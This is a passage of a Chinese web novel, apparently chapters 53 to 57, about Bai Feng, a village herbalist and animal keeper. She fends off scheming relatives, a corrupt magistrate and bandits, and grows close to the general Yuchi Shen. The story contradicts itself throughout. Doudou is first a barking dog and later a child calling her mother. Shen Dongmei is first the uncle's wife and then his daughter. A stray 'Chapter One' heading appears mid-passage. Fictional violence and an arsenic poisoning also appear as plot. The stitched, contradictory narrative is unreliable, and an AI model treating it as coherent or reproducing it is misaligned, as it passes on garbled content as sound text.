“当家的,你回来了!”沈冬梅脸上闪过一丝慌乱。 舅舅没理她,径直走到白凤面前:“丫头,这是怎么回事?” 白凤把事情经过说了一遍,舅舅听完,脸色越来越难看。 他转身看着沈冬梅:“你就是这么对待我外甥女的?” “我,我这不是为了镇上的安全着想吗?”沈冬梅心虚地说。 “安全?”舅舅冷笑,“我看你是为了自己的私心!白凤是我外甥女,她住在这里,谁敢赶她走?” 沈冬梅还想说什么,被舅舅一个眼神瞪了回去。 “都散了吧!”舅舅对围观的人说,“以后谁再敢欺负白凤,就是跟我过不去!” 众人见状,纷纷散去。王婆子也灰溜溜地走了。 沈冬梅站在原地,脸色青一阵白一阵,最后也只能悻悻离开。 “丫头,进屋说话。”舅舅对白凤说。 两人进了屋,舅舅叹了口气:“这段时间,委屈你了。” 白凤摇摇头:“舅舅,您能回来就好。” “你舅妈那个人,我知道她的性子。”舅舅说,“但她毕竟是我媳妇,有些事我也不好说得太重。你自己多留个心眼,别吃亏。” “我明白。”白凤点头。 舅舅又问起她的近况,白凤挑了些能说的说了。舅舅听说她买了房子,还养了熊崽,脸上露出欣慰的笑容。 “你有本事,舅舅放心。”他说,“不过养熊这事,确实要小心些。万一真伤了人,麻烦就大了。” “我会注意的。”白凤保证。 舅舅走后,白凤站在院子里,看着在地上打滚的黑子,心里五味杂陈。 她知道,舅舅这次帮了她,但下次呢?沈冬梅不会善罢甘休的。 必须尽快变强,强到没人敢欺负她。 京城,王府。 黑甲侍卫单膝跪在尉迟深面前,低声禀报:“王爷,白姑娘不愿回京。” 尉迟深手里拿着一本兵书,闻言抬起头:“她怎么” “白姑娘说,她在镇上过得很好,不想回来。”黑甲侍卫如实回答。 尉迟深沉默了片刻,突然笑了:“有意思。” “王爷?”黑甲侍卫不解。 “没什么。”尉迟深挥挥手,“继续保护她,别让她出事。” “是。” 黑甲侍卫退下后,尉迟深放下书,走到窗前。他看着窗外的景色,脑海里浮现出白凤的样子。 那个倔强的女人,宁愿一个人在小镇上艰难度日,也不愿回到他身边。 “王爷。”门外传来侍女的声音,“苏小姐来了。” 尉迟深皱眉:“让她进来。” 苏婉儿款款走进来,行了个礼:“王爷。” “有事?”尉迟深语气淡漠。 苏婉儿咬了咬唇:“王爷,民女听说,您派人去接那个白凤回京?” 尉迟深没说话,算是默认了。 “王爷,那个女人配不上您。”苏婉儿鼓起勇气说,“她不过是个乡野村妇,怎么能进王府?” “够了。”尉迟深打断她,“本王的事,不需要你操心。” 苏婉儿脸色一白,眼眶泛红:“王爷,民女只是关心您。那个白凤,听说在镇上名声很不好,还和镇上的地痞有来往……” “你说什么?”尉迟深眼神一冷。 苏婉儿被他的气势吓到,但还是硬着头皮说下去:“民女听说,她经常和一些不三不四的人来往,还养了些危险的野兽。前几天,镇上有个郎中就是被她害死的……” “闭嘴!”尉迟深厉声喝道。 苏婉儿吓得浑身一颤,眼泪掉了下来。 “来人,送苏小姐出府。”尉迟深冷冷地说,“以后没有本王的允许,不得再进王府。” 苏婉儿不敢相信地看着他,最后只能哭着离开。 尉迟深站在原地,脸色阴沉。他叫来黑甲侍卫:“去查,镇上到底发生了什么事。” “是!” 另一边,白凤的日子倒是越过越顺。 自从赤脚郎中死后,镇上就没人收药材了。白凤索性每次都去郡城卖,一来二去,和郡城几家药铺的掌柜都熟了。 这天,白凤又背着一篓药材进城。药铺掌柜一看到她,立刻笑脸相迎:“白姑娘来了!今天带了什么好货?” 白凤把篓子放下,掌柜的仔细查看,眼睛越来越亮。 “这是……百年何首乌?”掌柜的惊讶地说。 “运气好,在山里碰到的。”白凤淡淡地说。 “这可是好东西啊!”掌柜的激动地搓手,“白姑娘,这个我出一百两银子收!” 白凤心里一喜,面上却不动声色:“掌柜的,这价格是不是低了点?” “那您说个数?” “一百五十两。” 掌柜的犹豫了一下,最后一咬牙:“成交!” 拿到银子,白凤心情大好。她在街上转了转,突然看到一家铺子门口挂着“高价收购珍稀药材”的牌子。 白凤走进去,里面坐着个中年男人,正在喝茶。 “客官要买药?”男人抬头问。 “我是来卖药的。”白凤说,“听说你们收珍稀药材?” 男人眼睛一亮:“对!只要是珍稀的,我们都收,而且价格绝对公道!” “那如果我说,我能弄到雪莲、灵芝、人参这些东西呢?”白凤试探着问。 男人腾地站起来:“当真?” “当然。”白凤自信地说,“只要价格合适,我保证能弄到。” 男人上下打量她一番,最后伸出手:“合作愉快!” 白凤和他握了握手,心里已经有了新的计划。 既然有人肯出高价收这些东西,那她就专门去找。反正她有大黄狗和黑子,进山不怕危险。 接下来的日子,白凤开始有计划地进山采药。她不再像以前那样漫无目的,而是专门找那些珍稀的药材。 有了大黄狗和黑子的帮助,她的效率大大提高。黑子虽然还小,但鼻子很灵,经常能找到藏得很深的药材。 白凤的名声也渐渐在郡城传开了。那些药铺的掌柜都知道,有个叫白凤的姑娘,专门提供珍稀药材,而且货真价实。 有人出高价想让她找千年灵芝,白凤二话不说就接了。 第53章 不是让我滚吗? 她带着大黄狗和黑子进了深山,整整找了三天,终于在一个山洞里找到了。 那株灵芝长在石壁上,周围还盘着一条毒蛇。白凤用迷药把蛇迷晕,小心翼翼地把灵芝采下来。 回到郡城,那人一看到灵芝,当场就给了她五百两银子。 白凤拿着银子,心里美滋滋的。这钱来得太容易了,比她辛辛苦苦采普通药材强多了。 但她也知道,这种好事不会一直有。珍稀药材本来就少,而且越来越难找。 不过没关系,她还有别的办法。 白凤开始琢磨,除了药材,还有什么东西值钱? 皮毛! 那些达官贵人最喜欢穿皮毛大衣,尤其是熊皮、虎皮这些,价格更是高得离谱。 白凤打定主意,下次进山就专门找这些东西。 但她也清楚,这种事风险很大。熊和虎都是猛兽,一个不小心就会丢命。 不过,富贵险中求。 白凤摸了摸怀里的孩子,心里更加坚定。她要给孩子最好的生活,就必须拼命赚钱。 这天晚上,白凤正在院子里喂黑子,突然听到墙外有动静。 她警觉地站起来,大黄狗也竖起了耳朵。 “谁?”白凤喝道。 墙外沉默了片刻,然后传来一个熟悉的声音:“是我。” 黑甲侍卫翻墙进来,手里还提着个包袱。 “王爷让我给您送些东西。”他把包袱放在地上,“还有,王爷说,如果您有什么需要,尽管开口。” 白凤看着包袱,没有伸手去拿:“替我谢谢王爷,但这些东西我不需要。” 黑甲侍卫皱眉:“白姑娘,王爷一片好意……” “我知道。”白凤打断他,“但我现在过得很好,不需要任何人的施舍。” 黑甲侍卫沉默了,最后叹了口气:“我会把您的话转告王爷。” 他转身要走,白凤突然叫住他:“等等。” “白姑娘还有什么吩咐?” “告诉王爷,孩子生下来后,我会让他知道的。”白凤说,“但在那之前,我希望他不要再派人来打扰我。” 黑甲侍卫点点头,消失在夜色中。 白凤站在院子里,看着满天星辰,心里五味杂陈。 她知道,自己和尉迟深之间,注定不会有结果。 但没关系,她还有孩子,还有自己的人生。 她要靠自己的双手,创造出一个美好的未来。 白凤的名声在镇上传开后,来求诊的人络绎不绝。她每日清晨便要起身,先去后院喂养那些被救治的动物,再回到前厅接诊。 豆豆最近胖了不少,圆滚滚的身子在院子里跑起来像个毛球。白凤给它换了新窝,用上好的棉布缝制,还特意在窝边放了个小木盆,里面装着清水。 “你这小东西,现在倒是会享福了。”白凤蹲下身,揉了揉豆豆的脑袋。 豆豆“汪汪”叫了两声,尾巴摇得欢快。 正午时分,门外传来急促的脚步声。白凤抬头,看见舅舅沈福站在门口,脸色难看得很。 “白凤,你舅母想见见你。”沈福的声音有些僵硬。 白凤放下手中的药碾子,“舅舅这是什么意思?” “冬梅她…她想跟你赔个不是。”沈福说得艰难,额头上渗出细密的汗珠。 白凤冷笑一声,“当初赶我出门的时候,可没见她有半点愧疚。” “凤儿,都是一家人,何必闹得这么僵?”沈福试图打感情牌。 “一家人?”白凤站起身,“舅舅忘了,当初是谁说我克父克母,把我赶出家门的?” 沈福张了张嘴,最终什么也没说出来。 傍晚时分,沈冬梅还是来了。她穿着新做的衣裳,头上簪着银钗,脸上却带着几分不情愿。 “表妹,之前的事是我不对。”沈冬梅的话说得勉强。 白凤正在给一只受伤的野兔上药,头也不抬,“表姐客气了,我可受不起。” “你别不识抬举!”沈冬梅压低声音,“我爹让我来赔罪,已经是给你脸了。” 白凤手上动作一顿,抬眼看向她,“那就请回吧,我这小庙容不下表姐这尊大佛。” 沈冬梅脸色涨红,正要发作,余光瞥见院子里那些养得肥壮的鸡鸭,眼珠转了转,“表妹养的这些畜生倒是不错,可惜…万一有个三长两短,岂不可惜?” 白凤放下手中的药瓶,直视沈冬梅,“表姐这话是什么意思?” “没什么意思。”沈冬梅冷笑,“只是提醒你,畜生嘛,总有生病的时候。” 当天夜里,白凤听见后院传来异响。她提着灯笼赶过去,看见几只鸡鸭倒在地上,口吐白沫。豆豆正对着墙角狂吠,那里蜷缩着一个人影。 “谁!”白凤厉声喝道。 那人想要翻墙逃走,却被豆豆咬住了裤腿。白凤上前一看,正是沈家的下人老王。 “说,谁让你来的?”白凤冷声问。 老王跪在地上,浑身发抖,“是…是大小姐让我来的,说是给这些畜生喂点好东西…” 白凤从他怀里搜出一包药粉,凑近闻了闻,是砒霜。 第二天一早,白凤直接带着人证物证上了沈家门。 沈福看见白凤带着镇上几个德高望重的老人,脸色煞白,“凤儿,你这是做什么?” “舅舅,昨夜有人在我家后院下毒,想要毒死我养的动物。”白凤将老王推到众人面前,“这人是谁,舅舅应该认识。” 沈冬梅从屋里冲出来,“你胡说!我什么时候让他去下毒了?” “大小姐,您昨天明明说…”老王话还没说完,就被沈冬梅一巴掌打断。 “住口!你个狗奴才,竟敢诬陷主子!” 白凤冷眼旁观,“表姐这么着急做什么?我还没说是你指使的呢。” 围观的街坊越聚越多,指指点点的声音此起彼伏。沈福脸上挂不住,怒道:“够了!都给我滚出去!” 白凤也不恼,“那行,咱们县衙见。” “等等!”沈福拦住她,“凤儿,都是一家人,何必闹到官府去?” “舅舅方才不是让我滚吗?”白凤反问。 沈福语塞,半晌才说,“你想怎样?” “很简单,从今往后,沈家的人不许再踏进我家半步。”白凤说得斩钉截铁。 沈冬梅气得浑身发抖,却说不出话来。她这才发现,自己的肚子微微隆起,手不自觉地抚上去。 白凤瞥见这个动作,心中了然,转身离去。 沈冬梅怀孕的消息很快传开。她抓住这个机会,三天两头往师爷府上跑。 “师爷,您得帮帮我。”沈冬梅抹着眼泪,“那白凤现在翅膀硬了,连我爹都不放在眼里。” 第54章 这事不好办啊 师爷捻着胡须,眼神闪烁,“这事不好办啊。” “师爷,我肚子里可是您的孩子。”沈冬梅压低声音,“您总不能让孩子一出生就没了依靠吧?” 师爷沉默片刻,“你想怎么做?” “白凤不就是会治病吗?可谁知道她用的是什么法子?”沈冬梅眼中闪过狠毒,“万一是妖术呢?” 师爷心中一动。这些日子,他也听说白凤的名声越来越大,连县太爷都夸过几句。若是能借机打压,说不定能从中捞点好处。 几日后,县太爷升堂时,师爷凑到他耳边低语几句。 “大人,最近镇上有个叫白凤的女子,说是会治病,可谁知道她用的是什么手段?”师爷故作神秘,“依小人看,十有八九是妖术。” 县太爷本不在意,但师爷接着说:“听说她家里养了不少动物,都肥得流油。若是搜出什么来,岂不是大功一件?” 县太爷眼睛一亮。他最近手头紧,正愁没地方弄钱。白凤既然能治病,想必家中不缺金银。 “来人,去把那白凤给我抓来!”县太爷一拍惊堂木。 衙役冲进白凤家时,她正在给一只受伤的鹿包扎伤口。 “白凤,县太爷有请。”为首的衙役冷笑,“跟我们走一趟吧。” “凭什么?”白凤站起身。 “就凭你涉嫌使用妖术!”衙役说着,挥手让人搜查,“把这些畜生都抓起来!” 豆豆冲上去想要护主,却被一个衙役一脚踢开。白凤眼睁睁看着那些被她救治的动物被关进笼子,心中怒火中烧。 县衙大堂上,县太爷高坐堂上,师爷站在一旁,脸上带着得意的笑。 “白凤,你可知罪?”县太爷威严地问。 “不知。”白凤跪在地上,腰板挺得笔直。 “大胆!竟敢顶撞本官!”县太爷拍案而起,“来人,给我打!” 板子还没落下,门外传来一阵骚动。 “且慢!” 一个身穿铠甲的年轻将领大步走进来,身后跟着十几个士兵。 “你是何人,竟敢擅闯公堂!”县太爷色厉内荏。 “在下百夫长麾下副将,奉百夫长之命,前来保护白姑娘。”年轻将领拱手,“前些日子,白姑娘为百夫长夫人寻得救命良药,百夫长感激不尽。听闻白姑娘遇难,特命我前来相助。” 县太爷脸色一变,“这…这是误会…” “误会?”年轻将领冷笑,“把人抓来,连罪名都没定,就要动刑,这就是大人的误会?” 就在这时,堂外又传来马蹄声。一队人马停在县衙门口,为首之人翻身下马,大步走进来。 白凤抬头,看见一个身材颀长的男子。他穿着玄色长袍,腰间佩剑,眉眼间带着凌厉之气。 “尉迟将军!”县太爷一见来人,双腿一软,差点从椅子上摔下来。 尉迟深扫了一眼堂上众人,目光最后落在白凤身上,“本将听闻此地县令滥用私刑,特来查看。” 县太爷额头冷汗直冒,“将…将军误会了,下官只是例行公事…” “例行公事?”尉迟深冷笑,“那本将也例行公事,查查大人这些年的账目如何?” 县太爷脸色煞白,扑通一声跪了下来,“将军饶命!” 师爷见势不妙,趁乱想要溜走,却被士兵拦住。 “想跑?”尉迟深眼神一冷,“把他也押起来。” 白凤被放了出来,她顾不上其他,直奔后院去看那些动物。笼子都被打开了,动物们挤在一起,瑟瑟发抖。 豆豆冲过来,在她腿边蹭来蹭去。白凤蹲下身,检查它身上有没有伤。 “还好吗?” 白凤回头,看见尉迟深站在不远处。 “多谢将军相救。”白凤站起身,语气客气却疏离。 “举手之劳。”尉迟深走近几步,“你养的这些动物,倒是有趣。” 白凤没有接话,转身继续照看动物。 尉迟深也不恼,在一旁静静看着。他注意到白凤动作轻柔,眼神温和,和对他时的冷淡截然不同。 县太爷被革职查办,师爷畏罪潜逃。沈冬梅得知消息,当场晕了过去。 她醒来时,发现自己躺在床上,沈福坐在床边,脸色阴沉。 “爹…”沈冬梅声音发颤。 “你好大的胆子!”沈福气得浑身发抖,“你知不知道,你差点害死全家!” “我…我只是想教训教训白凤…”沈冬梅捂着肚子,眼泪掉下来。 “教训?”沈福冷笑,“现在好了,师爷跑了,你这孩子生下来,就是个没爹的野种!” 沈冬梅哭得更凶了。她想不通,自己明明什么都没做错,为什么会落到这步田地? 沈福最终还是心软了。他去白凤家求情,在门口跪了整整一个时辰。 白凤开门时,看见舅舅跪在地上,头发凌乱,满脸憔悴。 “舅舅这是做什么?”白凤语气平淡。 “凤儿,舅舅求你,放过冬梅吧。”沈福磕了个头,“她肚子里还有孩子…” “舅舅起来说话。”白凤侧身让开,“我从没想过要对付表姐,是她自己作死。” 沈福站起身,踉跄了一下,“那你…你能不能…” “我要回祖产。”白凤打断他,“当初我爹留下的宅子和田地,都该还给我。” 沈福脸色一僵,“这…” “舅舅若是不愿意,那就当我没说。”白凤转身要关门。 “等等!”沈福咬咬牙,“我答应你。” 几天后,白凤搬回了祖宅。那是一座三进的大宅子,虽然多年没人住,显得有些破败,但收拾收拾还能用。 她把原来住的小院改成了专门养动物的地方。镇上那些被遗弃的猫狗,受伤的野兽,都被她收留了。 院子里一时间热闹非凡。猫和狗互相看不顺眼,动不动就打起来;野兔胆小,整天躲在角落里;那只鹿倒是温顺,但总是偷吃别人的食物。 白凤每天光是调解它们的矛盾,就要花大半天时间。 “你们能不能消停点?”白凤看着面前一地鸡毛,头疼不已。 豆豆在一旁幸灾乐祸地叫唤,结果被一只大黄狗追着满院子跑。 尉迟深这几天一直留在镇上。他说是要处理县太爷的案子,但白凤知道,他是在等自己。 “白姑娘,我想和你谈谈。”尉迟深又一次登门拜访。 “将军有话请说。”白凤端茶倒水,动作礼貌却疏离。 “你是不是对我有什么误会?”尉迟深开门见山。 白凤手上动作一顿,“将军多虑了。” “那为何每次见我,你都这副样子?”尉迟深盯着她,“像是在防着什么人。” 第55章 你是不是听说了什么? 白凤沉默片刻,“将军救命之恩,我铭记在心。但仅此而已。” 尉迟深皱眉,“你是不是听说了什么?” 白凤没有回答,起身要送客。 “是不是有人在你面前说过我什么?”尉迟深追问,“是那位官家小姐?” 白凤脚步一顿。 尉迟深看出端倪,“她跟你说了什么?” “将军既然知道,又何必多问?”白凤转身,“我只是个乡野村妇,配不上将军的关心。” “谁说你配不上?”尉迟深语气急切,“那些话都是她胡编的!” 白凤摇头,“是真是假,已经不重要了。将军请回吧,京城还有要事等着你。” 尉迟深还想说什么,却被白凤下了逐客令。他站在门外,看着紧闭的大门,心中五味杂陈。 几天后,尉迟深接到军令,必须立刻返京。他临行前又去了白凤家一趟,但白凤避而不见。 “告诉她,我会回来的。”尉迟深对豆豆说,然后翻身上马,带着人马离开了。 队伍走出十几里,天色渐暗。尉迟深让人在镇外驿站歇脚。 夜里,白凤躺在床上辗转难眠。她脑海中不断浮现出这几天听到的消息——北边要发洪水了,镇上的人还不知道,尉迟深他们走的正是那条路。 她告诉自己,这不关她的事。尉迟深是将军,有的是人保护他。 可是闭上眼睛,她满脑子都是洪水冲垮道路,人马被困的画面。 “该死的。”白凤翻身坐起,披上外衣冲出门。 豆豆跟在她身后,一人一狗在夜色中狂奔。 驿站里,尉迟深正在查看地图。副将进来禀报:“将军,有人求见。” “谁?” “说是白姑娘。” 尉迟深霍然起身,大步走出去。 白凤站在院子里,月光下,她脸上还挂着汗珠,呼吸急促。 “你怎么来了?”尉迟深惊喜交加。 “北边要发洪水,你们不能走那条路。”白凤喘着气说。 “你怎么知道?” “我…我听动物说的。”白凤知道这理由荒唐,但也顾不得那么多了。 尉迟深愣了一下,随即笑了,“好,我信你。” “你信?”白凤反倒惊讶了。 “你既然特意赶来,必然不会骗我。”尉迟深认真地说,“更何况,我本就信你。” 白凤别开眼,“我只是不想欠你人情。” “那你现在打算怎么办?”尉迟深问,“回去?” 白凤咬咬唇,“洪水来了,镇上的人怎么办?” 尉迟深看着她,眼中闪过一丝笑意,“所以,你是想让我留下来?” “我没有…”白凤想否认,却被尉迟深打断。 “好,我留下。”尉迟深转身对副将说,“传令下去,明日不走了,准备救灾物资。” 副将愣住,“将军,军令…” “出了事,我一人担着。”尉迟深说得斩钉截铁。 白凤看着他,心中涌起一股说不清道不明的情绪。 两天后,洪水真的来了。尉迟深带着人马,和白凤一起组织镇上的百姓转移。那些被白凤救治过的动物,也在关键时刻发挥了作用,帮忙寻找被困的人。 暴雨中,白凤和尉迟深并肩站在堤坝上,看着汹涌的洪水。 “你不后悔?”白凤问。 “后悔什么?” “为了我,违抗军令。” 尉迟深转头看她,雨水顺着他的脸颊滑落,“如果这叫后悔,那我宁愿一错再错。” 白凤心中一颤,却什么也没说。 洪水退去后,镇上的人都平安无事。尉迟深因为救灾有功,不但没有受罚,反而得到了嘉奖。 但他没有立刻离开,而是留在镇上,帮着白凤重建那些被洪水冲毁的房屋。 两人之间的关系,在这场救灾中,悄然发生了变化。#第一章 白凤这些日子在村里救治病患,名声渐渐好了起来。 村东头的李婶子送来两篮鸡蛋,说是自家母鸡下的,新鲜得很。村西头的张大爷拎着一只野兔,非说是自己打的,要给白凤补补身子。就连平日里最抠门的赵老汉,也主动帮她修了院墙。 “白姑娘,您可真是活菩萨!”李婶子拉着白凤的手,眼眶都红了,“我家那口子的腿要不是您,这辈子怕是要瘸了。” 白凤抽回手,笑着摆摆手:“举手之劳,李婶子别这么说。” 院门外突然传来一阵嘈杂的脚步声。 王婆子披头散发冲进来,身后跟着七八个村民。她一进门就扑通跪在地上,嚎啕大哭:“杀人偿命!你这个黑心肝的,害死了我两个闺女!” 白凤皱眉,往后退了一步。 “王婆子,你这是做什么?”李婶子上前拦住她。 “做什么?我两个闺女都死了!都是她害的!”王婆子指着白凤,涕泗横流,“她说能治好病,结果呢?我大闺女吃了她的药,当晚就没了气!二闺女昨儿个也咽气了!” 围观的村民窃窃私语起来。 白凤冷静地看着王婆子:“你大女儿送来的时候,已经高热三天,神志不清。我当时就说了,尽力而为。你二女儿是痨病,我也明确告诉过你,这病我治不了。” “放屁!”王婆子嗓门更大了,“你就是不想救!你要是真有本事,怎么会救不活?” “对啊,听说白姑娘医术高明,怎么偏偏王婆子家的闺女就救不活?”人群里有人附和。 白凤扫了一眼说话的人,是王婆子的侄子。 “你们家欠了赌坊二十两银子吧?”白凤突然开口,“你大女儿的病,是被你男人打的,肋骨断了三根,伤了肺腑。你二女儿的痨病,是你为了省钱,让她住在潮湿的柴房里,一年四季不见阳光,才染上的。” 王婆子脸色一变。 “我救不活她们,是因为你们根本没把她们当人!”白凤的声音不大,却字字清晰,“现在倒好,死了人就来讹我?” “你胡说!”王婆子色厉内荏,“我对闺女们好着呢!” “是吗?”白凤冷笑,“你大女儿临死前说的话,我可都记着。要不要我当着大家的面说出来?” 王婆子脸色煞白,嘴唇哆嗦着说不出话。 就在这时,一道冷峻的声音从院外传来:“发生了什么事?” 人群自动让开一条路。 尉迟深大步走进来,身后跟着几个侍卫。他穿着玄色长袍,腰间佩剑,浑身散发着生人勿近的气息。 “大人!”王婆子看到尉迟深,像抓住了救命稻草,“您可要为草民做主啊!这个白凤害死了我两个闺女,还不肯认账!” 尉迟深看向白凤。 第56章 在家里停着呢 白凤平静地迎上他的目光,没有说话。 “事情经过。”尉迟深言简意赅。 白凤简单说了一遍,没有添油加醋,也没有刻意辩解。 尉迟深听完,转向王婆子:“你大女儿的尸身可还在?” “在,在家里停着呢。” “带路。” 一行人浩浩荡荡去了王家。尉迟深让人验尸,仵作检查完,当场宣布:“死者肋骨断裂,肺部积血,并非药物所致。” 王婆子瘫坐在地上。 “至于你二女儿。”尉迟深的声音没有温度,“痨病传染,你明知她有病,还让她和家人住在一起,现在你儿子也开始咳血了吧?” 王婆子猛地抬头,脸色惨白。 “来人,王婆子诬陷行医者,杖责二十。其夫虐待亲女致死,发配边疆。”尉迟深说完,看向白凤,“你跟我来。” 白凤跟着尉迟深回到院子。 豆豆正蹲在院子里逗蚂蚁玩,看到尉迟深,立刻扑过来:“尉迟叔叔!” 尉迟深难得露出笑容,揉了揉豆豆的脑袋:“去玩吧。” 等豆豆跑远了,尉迟深才开口:“你不用谢我。” “我没打算谢你。”白凤老实说,“这本来就不是我的错。” 尉迟深看着她,眼里闪过一丝笑意:“倒是实诚。” “不过这次确实多亏了你。”白凤想了想,补充道,“不然那些人指不定怎么编排我。” “你救了那么多人,总有人记得你的好。”尉迟深顿了顿,“但也总有人,只记得你没满足他们的期望。” 白凤明白他的意思:“所以要学会保护自己?” “嗯。” 两人站在院子里,夕阳把他们的影子拉得很长。 豆豆突然跑过来,拉着白凤的衣角:“娘,我饿了。” 白凤低头看他,这孩子最近圆润了不少,脸上也有了血色。她摸摸豆豆的头:“行,娘这就去做饭。” “我也要吃!”豆豆又转向尉迟深,“尉迟叔叔也留下来吃饭吧!” 尉迟深看向白凤。 白凤耸耸肩:“多双筷子的事。” 晚饭很简单,小米粥配咸菜,还有一碟炒鸡蛋。豆豆吃得欢,尉迟深倒是吃得斯文,但也没剩下。 “最近边关有些不太平。”吃完饭,尉迟深突然开口。 白凤手里的茶杯顿了顿:“怎么” “灾情比预想的严重,朝廷拨了赈灾款,但到了地方上,能真正发到灾民手里的,不到三成。” 白凤皱眉:“贪官污吏?” “不止。”尉迟深的声音很低,“还有人想趁机发一笔横财。他们囤积粮食,哄抬物价,等灾民饿急了,再高价卖出去。” “这不是要人命吗?” “所以我要去查。”尉迟深看着她,“但我需要一个理由,一个能让我光明正大调查粮商的理由。” 白凤想了想:“你想让我做什么?” “帮我买粮。”尉迟深说,“以赈灾的名义,大批量采购粮食。那些粮商肯定会坐地起价,到时候我就有理由查他们的账目。” “可我没那么多钱。” “我有。”尉迟深从怀里掏出一张银票,“这是三千两,够不够?” 白凤接过银票,眼睛亮了:“够了。” 她脑子里已经开始盘算,这笔钱要怎么用,才能既帮到灾民,又让自己赚上一笔。 边关缺粮,京城的粮价肯定也会涨。如果她能提前囤一批粮食,等价格涨上去再卖出去,至少能翻两倍。 但她不能只想着赚钱,还得真的帮到灾民。 “我有个主意。”白凤说,“我可以先用这笔钱,从周边县城收购粮食,然后运到边关去。一来可以稳定粮价,二来也能让那些囤粮的商人坐不住。” 尉迟深点头:“可以。” “但我有个条件。”白凤看着他,“赚的钱,我要分一半。” 尉迟深愣了一下,随即笑了:“成交。” 第二天一早,白凤就开始行动。她先去了县城最大的粮行,找到掌柜的,开门见山:“我要买粮,一万石。” 掌柜的眼睛都直了:“一,一万石?” “对,能不能供?” “能是能,但是姑娘,这么多粮食,您要来做什么?” “赈灾。”白凤说得理所当然,“边关闹灾荒,我想做点善事。” 掌柜的狐疑地看着她,这姑娘穿着普通,不像是能拿出这么多钱的人。 白凤把银票拍在桌上。 掌柜的立刻换了副嘴脸:“姑娘大义!小的这就给您安排!” “别急。”白凤说,“我要最低价。” “这……”掌柜的为难了,“姑娘,现在粮价涨得厉害,我们也是没办法。” “少来。”白凤冷笑,“你们囤粮,不就是等着发灾难财?我现在一次性买这么多,你们还想坐地起价?” 掌柜的脸色变了变,最后咬咬牙:“成,给您便宜两成。” 白凤又去了另外几家粮行,用同样的方法,很快就凑够了一万石粮食。 她雇了车队,连夜往边关运。 路上,车队遇到了劫匪。 为首的是个独眼龙,带着二十几个人,把车队团团围住。 “留下粮食,饶你们不死!”独眼龙吼道。 白凤掀开车帘,跳下车:“你们是什么人?” “大当家,是个小娘们!”有个喽啰喊道。 独眼龙上下打量白凤,眼里闪过一丝淫光:“小娘们,识相的就乖乖跟大爷走,大爷保你吃香的喝辣的。” 白凤笑了:“就凭你们?” 话音刚落,她手里突然多了一把匕首,寒光一闪,独眼龙的另一只眼睛也瞎了。 “啊!”独眼龙捂着眼睛惨叫。 其他喽啰愣住了,等反应过来,白凤已经解决了三个人。 剩下的人吓得转身就跑。 白凤收起匕首,拍拍手:“继续赶路。” 车夫们看她的眼神都变了,这姑娘看着文文弱弱,下起手来比男人还狠。 五天后,粮食运到了边关。 白凤没有直接发放,而是以低于市价三成的价格售卖。 消息一传开,灾民蜂拥而至。 那些囤粮的商人坐不住了,纷纷降价抛售,生怕砸在手里。 粮价应声而落。 尉迟深趁机查账,果然查出了几个贪官污吏,还有一个勾结外敌的粮商。 “干得不错。”尉迟深看着账本,难得夸了白凤一句。 白凤算着自己赚的钱,心情很好:“彼此彼此。” 这一来一回,她净赚了一千五百两。 豆豆在一旁数铜板,小脸红扑扑的:“娘,我们发财了!” 白凤弹了一下他的脑门:“小财迷。” 尉迟深看着母子俩,嘴角微微上扬。 第57章 什么时候走? 这些日子相处下来,他发现白凤是个很特别的人。她聪明,果断,有主见,不像其他女子那样唯唯诺诺。 而且她对豆豆很好,是真心实意地疼这个孩子。 豆豆也越来越依赖尉迟深,每天缠着他讲故事,教武功。 “尉迟叔叔,你什么时候教我骑马?”豆豆仰着小脸问。 “等你再长高一点。”尉迟深说。 “那要等到什么时候?” “快了。” 豆豆不满地嘟起嘴,但还是乖乖点头。 夜里,白凤和尉迟深坐在院子里喝茶。 月光很好,洒在地上,像铺了一层霜。 “你要回京了?”白凤突然问。 尉迟深点头:“嗯,差不多该回去复命了。” “什么时候走?” “三天后。” 白凤没再说话,端起茶杯喝了一口。 茶水有些凉了,带着淡淡的苦味。 “豆豆怎么办?”尉迟深问。 “送他去学堂。”白凤说,“总不能一直这么放养着。” “也好。”尉迟深想了想,“我可以帮你找个好点的学堂。” “不用。”白凤拒绝了,“村里的学堂就行,离得近,我也放心。” 尉迟深看着她,欲言又止。 “怎么?”白凤挑眉。 “没什么。”尉迟深摇摇头,“只是觉得,你一个人带着豆豆,挺不容易的。” “习惯了。”白凤笑了笑,“而且我也不是一个人,豆豆陪着我呢。” 两人又沉默了一会儿。 “白凤。”尉迟深突然叫她的名字。 “嗯?” “如果有一天,你遇到了解决不了的麻烦,可以来京城找我。” 白凤愣了一下,随即点头:“好。” 三天后,尉迟深走了。 豆豆哭得稀里哗啦,抱着尉迟深的腿不撒手:“叔叔,你什么时候回来?” “很快。”尉迟深蹲下来,和豆豆平视,“你要听娘的话,好好读书,等我回来,我教你骑马。” “真的?”豆豆抽抽搭搭。 “真的。” 豆豆这才松手,眼睛红红地看着尉迟深上马离开。 白凤站在一旁,没有说话。 等尉迟深的身影消失在视线里,她才牵起豆豆的手:“走吧,我们回家。” “娘,尉迟叔叔还会回来吗?” “会的。”白凤说,“他答应你的事,一定会做到。” 豆豆点点头,但眼泪还是忍不住往下掉。 白凤叹了口气,把豆豆抱起来:“哭吧,哭完就好了。” 豆豆趴在白凤肩上,放声大哭。 白凤拍着他的背,眼睛却看向远方,那里是京城的方向。 豆豆去学堂的第一天,白凤起了个大早。 她给豆豆穿上新做的布衫,梳了个整齐的发髻,还特意煮了两个鸡蛋让他带着。 “娘,我不想去。”豆豆拽着白凤的衣角,小脸皱成一团。 “为什么?” “我怕。”豆豆小声说,“万一他们欺负我怎么办?” 白凤蹲下来,看着豆豆的眼睛:“那你就打回去。” 豆豆愣住了。 “记住,别人打你一拳,你就还他两拳。”白凤说得认真,“但不许你先动手,也不许欺负比你弱小的人,明白吗?” 豆豆似懂非懂地点头。 学堂在村东头,是个老旧的院子。夫子姓陈,五十多岁,留着长须,看起来挺和善。 “这就是新来的学生?”陈夫子打量着豆豆。 “是。”白凤说,“还请夫子多多照顾。” “应该的。”陈夫子笑了笑,“小娃娃挺机灵,肯定能学好。” 白凤交了束脩,嘱咐豆豆几句,这才离开。 她刚走出学堂,就听到里面传来一阵哄笑声。 “哟,这不是那个没爹的野种吗?” “听说他娘是个寡妇,还不知道跟多少男人勾搭过呢!” “就是就是,这种人也配来读书?” 白凤脚步一顿,转身想回去,但最终还是忍住了。 豆豆得学会自己面对这些。 她在学堂外面等了一整天。 申时末,学堂放学,豆豆冲出来,扑进白凤怀里。 “娘!” 白凤抱住他,摸摸他的头:“怎么样,还好吗?” 豆豆抽了抽鼻子,没说话。 